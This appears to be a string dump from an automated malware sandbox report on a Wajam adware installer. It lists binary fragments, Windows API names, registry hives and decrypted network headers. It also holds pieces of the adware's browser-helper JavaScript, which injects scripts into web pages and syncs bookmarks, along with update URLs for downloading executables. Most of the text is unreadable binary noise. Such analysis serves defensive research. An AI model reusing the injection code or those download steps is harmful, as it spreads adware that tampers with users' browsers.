H*JCU$MU:2eo\KTk7WASHfEPR(+?g<|j>jU4oo+4!l!lMhEXUb:L'$P'D,AJ~2pLf'

Ansi based on Dropped File (nsqE177.tmp)

H,!XP.;IPSp@e\vN

Ansi based on Dropped File (nsqE177.tmp)

h2\c))Y7aMKt&?SxU:sQbL!\.vq(WO3ebOfHa2]qT{&/V&-O5K1Z$ONMh:Bp~

Ansi based on Dropped File (nsqE177.tmp)

H3H/5A@P;rSWf9ME;EE;|9A}kAj@j YYtQA ;s1H```3f@

Ansi based on Dropped File (nsqE177.tmp)

h4|7 `B:.:r@8t/tk+@) p79&(uF@%K+A_hqyL]Q-O%AiBZ)@aMH0:RaZRIf*w;K'/OY>;iOQ>I{2I|:O[@F9Z2ROQ>)g#lxCiGdGT2'?+~v

Ansi based on Dropped File (nsqE177.tmp)

H6ra[FWNqli.\18RTIda,RTg\ja6M>V.Yhegq?zk ,d7Kii;YU299%f]BN{1a?M<b85{ETonc-qlX'6EV#Alo20VTcMzKkYNVV|

Ansi based on Dropped File (nsqE177.tmp)

h:kRfQZ;;A33

Ansi based on Dropped File (nsqE177.tmp)

h@ }y@Tty B;uy

Ansi based on Dropped File (nsqE177.tmp)

h@$t]6%;}t}3ZYYdh$@=E@t

Ansi based on Dropped File (nsqE177.tmp)

h@.@@@xhj@=@t/@3L@=u@@@@3ZYYdh

Ansi based on Dropped File (nsqE177.tmp)

h@1@]US=@3Uh@d2d"=E@t

Ansi based on Dropped File (nsqE177.tmp)

h@E_^[YY]@UQSVW3@=@ufu@Ea3Uh^"@d1d!=E@t

Ansi based on Dropped File (nsqE177.tmp)

h@f@@P43@@hjCP%@u@@@u@t@P@u3ZYYdh@=E@t

Ansi based on Dropped File (nsqE177.tmp)

h@FE_^[Y]@S~$@u3[St(@t3[t2tP,@Yt(@uptP$@Yt@@SV=@t

Ansi based on Dropped File (nsqE177.tmp)

h@h@M[]S;@uP@PH8;uy@3T$y@TP[P[@@J;rJ;r@u@3S|[|[@@||

Ansi based on Dropped File (nsqE177.tmp)

H@M3@@=@@tH@PXu

Ansi based on Dropped File (nsqE177.tmp)

h@Pt@>;sU+E;rl$+USEVPE3u%

Ansi based on Dropped File (nsqE177.tmp)

h@u%BD$VPt$BVP@jU^VxBVt$@@tP8@3^D$VW@W@uW@t

Ansi based on Dropped File (nsqE177.tmp)

h@VW?u=0B\uh@WWPV@@Ej?P8t}tu>.uF<.u

Ansi based on Dropped File (nsqE177.tmp)

h[hX5[uUj@P[YzhX5[u,5[Yj

Ansi based on Dropped File (nsqE177.tmp)

H]o'4RjWjUih}+&Mf9VkIa,I+D"@\p6P7kF_3N}'B:k4NetPg=uLdKcOgr<8RzPf^t*G9Sl8\pmp_trbw3MdxVmTl"Q_3NQidykmVm1M):vbwKd@Y]rawo`us:UzB[7Ne~n@Zg{..000001?I5t8.00000..Q1k

Ansi based on Dropped File (nsqE177.tmp)

Handler not installed

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF0000.00000002.mdmp)

has been called

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

HashFileVersionHighPart

Unicode based on Runtime Data (iexplore.exe )

HashFileVersionLowPart

Unicode based on Runtime Data (iexplore.exe )

hb4hSEx%Xo`$@P^!\9ejm,b Kug >d9[1VXL6'_5=d9]c/-%$:^{2~E(Y'[)Z"S;0:M@,aV@w0,rH78pv=Kpi61WL7T{\E;l^T '<!0vpbLJ%+hQ'2^^_T_E_}}C$=d$QvJ9D%8D-z%;t'G#]uzy;CS{qwfK:IA3f=fRW2

Ansi based on Dropped File (nsqE177.tmp)

HC"ItKuEttEt0JtAuJu1]}t]8vh@]<@tQS<$t<*t

Ansi based on Dropped File (nsqE177.tmp)

hCYYjPu<@%u8@}tc3[9uty9uWuhD@hCYY_

Ansi based on Dropped File (nsqE177.tmp)

HDTe)`1'cN|%0VJrKvAPg~:eG!=rxGG{

Ansi based on Dropped File (nsqE177.tmp)

HDTe)`1'cN|%0VJrKvAPg~:eG!=rxJst>3w)~5(VSnf$RJru%'Nx\qT2J N0@

Ansi based on Dropped File (nsqE177.tmp)

he installation.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

HeaderExclusionListForCache

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HeapAlloc

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

HeapCreate

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

HeapDestroy

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

HeapReAlloc

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

HeapSetInformation

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

HelperDllName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HexDecoder

Ansi based on Dropped File (DcryptDll.dll.2046955531)

HexEncoder

Ansi based on Dropped File (DcryptDll.dll.2046955531)

hF+VNSZZj`K:n~NkMi6:{JkM:9[qI*Jk&Hl%}{RbN{

Ansi based on Dropped File (nsqE177.tmp)

HFsDAjkw3\6

Ansi based on Dropped File (nsqE177.tmp)

hG2d*-kHnRgpyC+mIF}wQ$Yph[A1|1`Z9dII75#^0,rIb

Ansi based on Dropped File (nsqE177.tmp)

hh[h8XD$ Ph5Y=YuBt>V@t3$UPV@D$P$PH@tD$PV@_^][SUV5h@W+Y3D$+Y3=h[D$h[uW

Ansi based on Dropped File (nsqE177.tmp)

hh[vhY5[uD$|

Ansi based on Dropped File (nsqE177.tmp)

Hhb5VhcmTTTs>j?ws9wub,`1QZb

Ansi based on Dropped File (nsqE177.tmp)

hhhxxxssstS4Z<Z<Z<X:S6modFgQ_GU4[:Y<Z<X:[>|8Hcyht|p{/)o;r2Hz>[BQL? q;j{9#Y`iX}PpgwYUUcx#&"87"& :v_

Ansi based on Dropped File (nsqE177.tmp)

HHuxry|uu>]u9Z}Z33}Sy>u

Ansi based on Dropped File (nsqE177.tmp)

HideFileExt

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HideIcons

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HideWindow

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKCU{Software{Classes

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

HKEY_CLASSES_ROOT

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_CURRENT_CONFIG

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_CURRENT_USER

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_DYN_DATA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_LOCAL_MACHINE

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_PERFORMANCE_DATA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKEY_USERS

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

HKuZXutJZ_^[X$@SVW9thtkFW)wRt&9uXJtN_9uKJuZt"8uAJt8u:Jt9u'#W)F)Z8u8u8u8_^[t

Ansi based on Dropped File (nsqE177.tmp)

hlll54`. =SJ!

Ansi based on Dropped File (nsqE177.tmp)

Hmanifest.jsonPKplugins/PK_83priam_icon_128x128.pngPKp@r

Ansi based on Dropped File (nsqE177.tmp)

horturl.php

Unicode based on Dropped File (priam_bho.dll.1505483275)

HTTP/1.1 200 OKaccess-control-allow-credentials: trueaccess-control-allow-origin: https://platform.twitter.comcache-control: must-revalidate, max-age=600content-encoding: gzipcontent-length: 125content-type: application/json; charset=utf-8date: Wed, 19 Jun 2019 15:37:10 GMTlast-modified: Wed, 19 Jun 2019 15:37:10 GMTserver: tsa_aset-cookie: tfw_exp=1; Max-Age=1209600; Expires=Wed, 3 Jul 2019 15:37:10 GMT; Path=/; Domain=.twitter.comstrict-transport-security: max-age=631138519vary: Originx-connection-hash: e206d73eacc08a29c993493a718f3b30x-response-time: 6

Ansi based on Decrypted SSL Data (SSL)

HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Strict-Transport-Security: max-age=10886400; includeSubDomains; preloadDate: Wed, 19 Jun 2019 15:37:10 GMTPragma: no-cacheExpires: Fri, 01 Jan 1990 00:00:00 GMTCache-Control: no-cache, no-store, must-revalidateLast-Modified: Sun, 17 May 1998 03:00:00 GMTX-Content-Type-Options: nosniffContent-Type: image/gifServer: Golfe2Content-Length: 35Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"GIF89aï¿½ï¿½ï¿½ï¿½ï¿½,D;

Ansi based on Decrypted SSL Data (SSL)

HTTP/1.1 200 OKContent-Encoding: gzipAccess-Control-Allow-Methods: GETAccess-Control-Allow-Origin: *Cache-Control: public, max-age=315360000Content-Type: text/html; charset=utf-8Date: Wed, 19 Jun 2019 15:37:09 GMTEtag: "7d3f6ed140174a20e7c8be261a70a863+gzip"Last-Modified: Wed, 05 Jun 2019 16:49:09 GMTP3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"Server: ECS (sjc/4E68)Vary: Accept-EncodingX-Cache: HITContent-Length: 5816

Ansi based on Decrypted SSL Data (SSL)

HTTP/1.1 200 OKStrict-Transport-Security: max-age=10886400; includeSubDomains; preloadDate: Wed, 19 Jun 2019 14:51:16 GMTExpires: Wed, 19 Jun 2019 16:51:16 GMTLast-Modified: Tue, 21 May 2019 23:53:44 GMTX-Content-Type-Options: nosniffContent-Type: text/javascriptVary: Accept-EncodingContent-Encoding: gzipServer: Golfe2Content-Length: 17093Cache-Control: public, max-age=7200Age: 2753Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"ï¿½ï¿½ï¿½}k[Ûºï¿½ï¿½w~ï¿½ï¿½fï¿½+"$ï¿½ï¿½&ï¿½yï¿½ï¿½Z-ï¿½ï¿½Pï¿½Gï¿½ï¿½ï¿½4qï¿½r~ï¿½;3ï¿½ï¿½1]kï¿½sï¿½wuï¿½#itï¿½ï¿½"ï¿½ï¿½gï¿½Aï¿½ï¿½ï¿½h~ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½O7ï¿½*Lï¿½ï¿½Jï¿½36MT.ï¿½Faï¿½ï¿½ï¿½ï¿½?ï¿½ï¿½ï¿½p$ï¿½qï¿½ï¿½ï¿½ï¿½ï¿½BTï¿½ï¿½ï¿½|aï¿½RÃ°sï¿½uï¿½bï¿½ï¿½'ï¿½*?F"ï¿½ï¿½ï¿½ï¿½z+ï¿½ï¿½Pï¿½ï¿½Lï¿½ï¿½ï¿½ï¿½ï¿½â8ï¿½ï¿½7xaï¿½ï¿½DÓgï¿½ï¿½Sï¿½ï¿½ï¿½ï¿½ï¿½ï¿½]Q{ï¿½ï¿½ï¿½Z^ÐÃ¥ï¿½ï¿½ï¿½mï¿½ï¿½8>xï¿½ï¿½>ï¿½ï¿½ï¿½W;ï¿½ç¥V:ï¿½Xï¿½$ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½Nvï¿½Jï¿½UYoFgï¿½yí²ï¿½ï¿½ï¿½XXï¿½ï¿½d|á³ï¿½y0ï¿½ï¿½ï¿½ï¿½6ï¿½NAZï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½cï¿½A"ï¿½A">}ï¿½ï¿½\}hbï¿½ï¿½Eï¿½mï¿½ÒRï¿½ï¿½Êµï¿½ï¿½ï¿½"ï¿½ï¿½,ï¿½ï¿½Fbï¿½ï¿½ï¿½ï¿½Kï¿½ï¿½kï¿½ï¿½ï¿½|ï¿½M>e#hï¿½ï¿½ï¿½ï¿½[-hwï¿½NOï¿½ß ï¿½ï¿½A^ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½iï¿½~ï¿½ï¿½&ï¿½ï¿½ï¿½"&ï¿½tkï¿½ï¿½Æï¿½j}ï¿½=Yï¿½tï¿½ï¿½7ï¿½ï¿½YÜoï¿½ï¿½fï¿½ó±¯7e5<-ï¿½4dï¿½ï¿½,+Hï¿½ï¿½+&ï¿½ï¿½ï¿½_|ï¿½>ï¿½ï¿½dï¿½ï¿½myï¿½ï¿½ï¿½ ucn;1ï¿½ï¿½dï¿½^aï¿½.66|î³ï¿½$ï¿½ï¿½ï¿½ï¿½3Bï¿½@'eï¿½nï¿½ï¿½ï¿½+Yï¿½ï¿½0ï¿½ï¿½"dï¿½ ï¿½w|ï¿½i^Rï¿½0(*\ï¿½ï¿½5hï¿½dAï¿½ï¿½oï¿½oï¿½oï¿½gï¿½]ï¿½ï¿½fï¿½×ï¿½ï¿½ï¿½ÆhLeï¿½ï¿½?Lï¿½Gï¿½bcIï¿½9ï¿½-ï¿½ï¿½sï¿½ï¿½;ï¿½7ï¿½ï¿½ï¿½ï¿½Em4ï¿½ï¿½ï¿½ï¿½ï¿½tï¿½ï¿½ï¿½ï¿½ï¿½Ó¿$ï¿½ï¿½ï¿½ï¿½ï¿½0ï¿½ï¿½|-ï¿½avï¿½ï¿½wï¿½ï¿½y?ï¿½>{ï¿½ï¿½ï¿½ï¿½ï¿½(ï¿½Flï¿½ï¿½ï¿½ï¿½ï¿½)ï¿½ï¿½|(l3Ç¤ï¿½TsIï¿½ï¿½ï¿½?Ý¾ï¿½ï¿½ï¿½ï¿½2ï¿½ï¿½ï¿½ï¿½2!ï¿½Rï¿½ï¿½ï¿½ï¿½@ï¿½$ï¿½ï¿½ï¿½ï¿½4ï¿½ï¿½ï¿½ï¿½\ï¿½&}[<ï¿½ê¯¹3ï¿½Yï¿½bï¿½@Ik<Ivï¿½ï¿½ï¿½8}1jÏ|ï¿½\ï¿½$0ï¿½k<ï¿½x|Aï¿½Hï¿½ï¿½OßQï¿½ï¿½ï¿½ï¿½e{uï¿½ï¿½ï¿½P>ï¿½jï¿½Hï¿½Lï¿½ï¿½ï¿½%Ç£ï¿½0CZï¿½ï¿½zï¿½ë¥ï¿½ï¿½ï¿½ï¿½ï¿½~ï¿½kï¿½QÂ¼ï¿½uï¿½0jq@ï¿½ï¿½ï¿½5Þº;ï¿½ï¿½ï¿½JXï¿½gï¿½ï¿½ï¿½R>ï¿½

Ansi based on Decrypted SSL Data (SSL)

http://downloadfallback.wajam.com/update/Updater/wajam_update.exe

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF0000.00000002.mdmp)

http://nsis.sf.net/NSIS_ErrorError launching installer... %d%%SeShutdownPrivilege~nsu.tmp\TempNSIS ErrorError writing temporary file. Make sure your temp folder is valid.C@L@F@T@eF@install.log.exeopen%u.%u%s%sSkipping section: "%s"Section: "%s"New install of "%s" to "%s"(g@@@@@@@|@@d@@L@@0@(@@@@SHGetFolderPathASHFOLDERSHAutoCompleteSHLWAPIGetUserDefaultUILanguageAdjustTokenPrivilegesLookupPrivilegeValueAOpenProcessTokenRegDeleteKeyExAADVAPI32MoveFileExAGetDiskFreeSpaceExAKERNEL32RMDir: RemoveDirectory failed("%s")RMDir: RemoveDirectory on Reboot("%s")RMDir: RemoveDirectory("%s")RMDir: RemoveDirectory invalid input("%s")Delete: DeleteFile failed("%s")Delete: DeleteFile on Reboot("%s")Delete: DeleteFile("%s")\*.*

Ansi based on Dropped File (nsqE177.tmp)

http://s.waj.am/

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://waj.am/

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://web1sb.wajam.com

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://web1sb.wajam.com/shorturl.php

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://www.wajam.com

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

http://www.wajam.com/

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://www.wajam.com/contact_us.php

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

http://www.wajam.com/shorturl.php

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://www.wajam.com/update/InternetExplorer/update_bho.xml

Unicode based on Dropped File (priam_bho.dll.1505483275)

http://www.wajam.com/update/Updater/wajam_update.exe

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HttpAddRequestHeadersA

Ansi based on Dropped File (inetc.dll.1181384010)

HttpDefaultExpiryTimeSecs

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

HttpEndRequestA

Ansi based on Dropped File (inetc.dll.1181384010)

HttpOpenRequestA

Ansi based on Dropped File (inetc.dll.1181384010)

HttpQueryInfoA

Ansi based on Dropped File (inetc.dll.1181384010)

HttpSendRequestA

Ansi based on Dropped File (inetc.dll.1181384010)

HttpSendRequestExA

Ansi based on Dropped File (inetc.dll.1181384010)

hu@Wu>8^YYt}tSSSW`AWEYWPAuPAj_9}Yu`EEPPEP@At@WVPbYYt(j VPMYYPYPPL@&T@=.Et=.u8YuZ8^t9}u?];Ev5=Y

Ansi based on Dropped File (nsqE177.tmp)

HU\euVPu}WFHtHu4jFPwYYPvSFPwYYPvSsET3@eSU}tuSVuV} uuVu 17uuVGhu@uFuKVu(tVP]UVu>WM~tG?~G|9t3=MOCt*=RCCt#u$u uuuuVL}uCSuEPEPVu WM;MsgESx;7|G;pBHQtzu-Y@u%u$uu juuuuuEEME;Mr[_^U4MS]CVWE=IIM|;|Rucsm9>~ )F;t=!t="~||u|jVEYYuQ9>u&~u F;t=!t="u~uQy|g|\|u3Yu\39~GLhAA2u

Ansi based on Dropped File (nsqE177.tmp)

HUPYYU0L$ 9|$_^][YVt$uH@@@@j@hj

Ansi based on Dropped File (nsqE177.tmp)

hW3A+H@+}EuSx/Y@PSVu@P;pp3fp3@^[]SVWj3SAV2AAAlAA(Aby\A

Ansi based on Dropped File (nsqE177.tmp)

hWcEPW1Ax#f}

Ansi based on Dropped File (nsqE177.tmp)

HYY@+nFr%gBZJx4. Uda8:FjHxAHi"-4\Xro,y)i?}GF\jF"4<nraL'T-gp7bxhR"[Da#Xx06n,y}T[7pOR'UVYc!qE0i?<L=,=_C[,fli\:DO2J-Kiyx_y}6pV>Xjh<tV~.b|1thAO$;gUT*Y"t?TN?=^S_/]j?H,\p@}IG[D"}!.^XTiR^gWlS%Fgx<-0hm`[

Ansi based on Dropped File (nsqE177.tmp)

hYYuh4YAhP:PVh,APV1A3ZWh ,AWS,0AuTS 0APhYYuhYAhPh:PjWPj1APjV0A1Aua0A=&tT=%utDPhsYYuhYAhP9PjWPjV0AV5 0A39t3@DPh

Ansi based on Dropped File (nsqE177.tmp)

hZM39Ujh"AdP<DA3$4VWDA3P$Hd3;|0;v*9{iPs0A'9{|$$0PhVA$X2A;|D$PhWAjW$@P2A9|$$P1A$$$P1A$$jXfD$D3fD$L$Pt$D$t$hVAt$1AD$2$P$$$Pt$Lt$LQt$=1A51AD$DP$P$P$TsD$st$0D$ YYD$hVA$T1At$@w$PD$L$PVQR Vt$(D$tP1A$PD$$PQ,D$tP$T1Ajs0AsV9Y=H0AL$,NjL$4L$0QjjhUAPD$p|$Xt

Ansi based on Dropped File (nsqE177.tmp)

h|Y5[uD$<hpY5[uYhdY5[uYhXY5[uY{hPY5[uUj@Y[ohHY5[u85[35[<@~5[hS @Zh<Y5[8Yteh^hPPh0Ph0PhP @hTh0UhVhpUhVhTzh0UphpUfhU\hURhUHhVh4Y5[uUj@Y [:h(Y5[u

Ansi based on Dropped File (nsqE177.tmp)

h}|HRhf43L[

Ansi based on Dropped File (nsqE177.tmp)

I&OmZ#:/h(!).3/)b:{r9'/Q|/['PxvX

Ansi based on Dropped File (nsqE177.tmp)

i) n"23~3!a"uKXQ

Ansi based on Dropped File (nsqE177.tmp)

i,a'(N (zJ$(JJ)(

Ansi based on Dropped File (nsqE177.tmp)

I1QwqcNN9>fo!8sW@]Ea<JQLl!>IC(.jW_I/&"%<R0$(I6"v/Aw*d`{%m9 g*1kQ-7_N;=Ug6OE[y<Ek^Rm:-n>4}K`={.l{_qE}walw,,nlx2In*`vfa0%h-{yl@`%\QZ|sl*QQu3JuE@h

Ansi based on Dropped File (nsqE177.tmp)

i<go;Gb$2uZ{`yRyf%y*YYkb&RB/(!A

Ansi based on Dropped File (nsqE177.tmp)

I\P"mgQD!HO

Ansi based on Dropped File (nsqE177.tmp)

i_k1"?0a3qG!""rpo@IixqLF>_@OcgS]%EE3d4Hq"J

Ansi based on Dropped File (nsqE177.tmp)

IAIAAAAa]UEu3]x;ArxAD@]UQ=0Au,$0AujMQjMQP0AtfEUSVu3;t9]t8uE;t3f3^[uM|E9XuE;tf8]tE`p3@EPPYYt}E~%9M| 39]RuQVjp0AEuM;r 8^t8]fMapZ8*8]tE`p;39]PuEjVjp0A:Ujuuu]UuM{EMA%}tMapUjuYY]QL$+#%;r

Ansi based on Dropped File (nsqE177.tmp)

ialization

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

iam.Product.name+'UpdateMappingList',update_script: priam.Product.name+'UpdateScript'},url: {cookie: 'chrome_set_cookie.php',first_run: 'index.php',update: 'index.php',flag: 'addon/flags',supported_urls_list: 'supported_urls_list.php',client_debug_info: 'client_send_debug_info.php',sync_bookmarks: 'sync_bookmarks.php',send_all_bookmarks: 'add_bookmark_xml.php',uninstall: 'uninstall.php'},product_name: 'Wajam',host: 'www.wajam.com/',branch_name: 'extensions.wajam.',getBrowser: function() { return priam.Browser.Config.getBrowser(); },getHost: function(use_https, callback){// Protocolvar protocol = ((use_https === true) || (use_https==='true')) ? 'https://' : 'http://';var define_host = prefs['define_host'];var has_define_host = (define_host && define_host !== undefined && define_host !== '');// Hostvar host = has_define_host ? define_host : priam.Config.host;// Host overridecallback(protocol + ho

Ansi based on Dropped File (priam_bho.dll.1505483275)

IB**xlj^@H|K}wZuG!+9if;_GgEQ\DpKU;

Ansi based on Dropped File (nsqE177.tmp)

IconsOnly

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IdnEnabled

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IE version: %S

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

IE9 or later is not detected

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

IE_approveExt.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

IE_APP~1.EXE

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

iejx/LJJJJJJJJJJJJJJJJIEqWDJJJJJJJJJJJJJJJJJJK@Zv^RGLUfIP3F`mWF{~]d?Ohm

Ansi based on Dropped File (nsqE177.tmp)

if (_document) {priam.ext.processDOMLoad(_document);}}});}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},onEventPriamUpdateScript: function(event) {var method_name = 'onEventPriamUpdateScript';var str = '';try {var _document = null;if (event.currentTarget && typeof(event.currentTarget) === 'object') { // IE9 [currentTarget|target]_document = event.currentTarget;}else if (event.srcElement && typeof(event.srcElement.document) === 'object') { // IE8_document = event.srcElement.document;}else if (event.target && typeof(event.target) === 'object') { // FF, CHROME_document = event.target;}if (_document !== null && _document !== undefined) {var location = _document.location;if (location) {try {var mappingListJsonString = prefs['mappingListJsonString'];if (mappingListJsonString ===

Ansi based on Dropped File (priam_bho.dll.1505483275)

if (debug_show_inserted_scripts == 'true') {priam.ext.show('(debug_show_inserted_scripts)\n'+'insertScript\n\n'+'css_id: \''+css_id+'\'\n'+'appendChild');}});}else {handleTimeout = setTimeout( insertHead ,10);}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}}str += priam.Trace.add(method_name,'Css NOT found - waiting for head');insertHead();}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str );},insertScript: function(_document,id,text,forceUpdate) {var str = '';var method_name = 'insertScript';try {priam.Preferences.getUrlsMappingVersion(function(mappingListVersion){if (mappingListVersion && mappingListVersion!=undefined) {var user_current_mapping_version = prefs['user_current_mapping_version'];

Ansi based on Dropped File (priam_bho.dll.1505483275)

if (typeof(priam) == "undefined") var priam = {};if (typeof(priam.Browser) == "undefined") priam.Browser = {};priam = (function(){var priam = {};var prefs = null; //preferences from background localStoragepriam.Browser = {}; //Browser specific implementationpriam.Product = { name: 'Wajam'};priam.Config = {added_var_name: {element_addon_reload_javascript: priam.Product.name.toLowerCase()+'_addon_reload_javascript',env : priam.Product.name.toUpperCase()+'_ENV',urls_mapping_version : priam.Product.name.toUpperCase()+'_URLS_MAPPING_VERSION',user_mapping_version : priam.Product.name.toUpperCase()+'_USER_MAPPING_VERSION'},event_name: {ajax_call_completed: priam.Product.name+'AjaxCallCompleted',ajax_call : priam.Product.name+'AjaxCall',bmAutoSyncOn : 'bmAutoSyncOn',bmAutoSyncOff : 'bmAutoSyncOff',clear_mapping_list : 'clear_mapping_list',justLoggedIn : 'justLoggedIn',justLoggedOut : 'justLoggedOut',update_mapping_list: p

Ansi based on Dropped File (priam_bho.dll.1505483275)

If-Modified-Since

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

if/MXzvJcw5I9-~@NK8z\,gbwXh`>}pQIO`YAg{*6X6Q ri.Rx=a`]Z+8RE~BoZX+jra:&&(TWfYH`f5"$h$t$n,NRaY^s++:UXiEgwO}LvyuLidHoLb_hik=}Tmi=wP3|fzSZHj@32:Or)_}fq-MY3#E=u%K(

Ansi based on Dropped File (nsqE177.tmp)

IfFileExists: file "%APPDATA%\Mozilla\Firefox\Profiles" exists, jumping 0

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IfFileExists: file "%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe" does not exist, jumping 408

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IfFileExists: file "%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" does not exist, jumping 413

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IfFileExists: file "%s" does not exist, jumping %d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

IfFileExists: file "%s" exists, jumping %d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ified-Since

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

iginalFilename

Unicode based on Dropped File (MoreInfo.dll.4230172058)

Ignore to skip this file.If you accept the terms of the agreement, click I Agree to continue. You must accept the agreement to install .License AgreementPlease review the license terms before installing .Press Page Down to see the rest of the agreement.InstallingPlease wait while is being installed.Installation CompleteSetup was completed successfully.Installation AbortedSetup was not completed successfully.MS Shell DlgRegistering: Unregistering: CustomCancel< &BackI &AgreeClick Install to start the installation.Show &detailsCompleted&Next >Click Next to continue.&Close$$\wininit.ini000w:0H0`0q0000000111=1a1n1~111162222$3/3Y3o3333p33334

Ansi based on Dropped File (nsqE177.tmp)

IHDR00WtEXtSoftwareAdobe ImageReadyqe<=IDATxY?haF1S1.B:9Z0.:d0B]E]tiARS(4J[H+

Ansi based on Dropped File (nsqE177.tmp)

IHDR>atEXtSoftwareAdobe ImageReadyqe<IDATxOhW!)v!` `C-$b{h/`XK.z=K{=,$=l66&D@Brj#)}'3?~`df~y BH+Qq}7KYyG^9 Y<

Ansi based on Dropped File (nsqE177.tmp)

IHDRw=tEXtSoftwareAdobe ImageReadyqe<jIDATxVMhQveTsHJR(l=^zxk[zO

Ansi based on Dropped File (nsqE177.tmp)

II?Un*t_O7T6,*^Z|+Rs[qn*HJ|fy9W9L+JT@UxVqgV8n%a`4

Ansi based on Dropped File (nsqE177.tmp)

IiP.}9^-*bV

Ansi based on Dropped File (nsqE177.tmp)

ikiiU6jZEK

Ansi based on Dropped File (nsqE177.tmp)

iM%q3~t4.Y>16:Ma#9ch;zM[6>

Ansi based on Dropped File (nsqE177.tmp)

ImageList_AddMasked

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

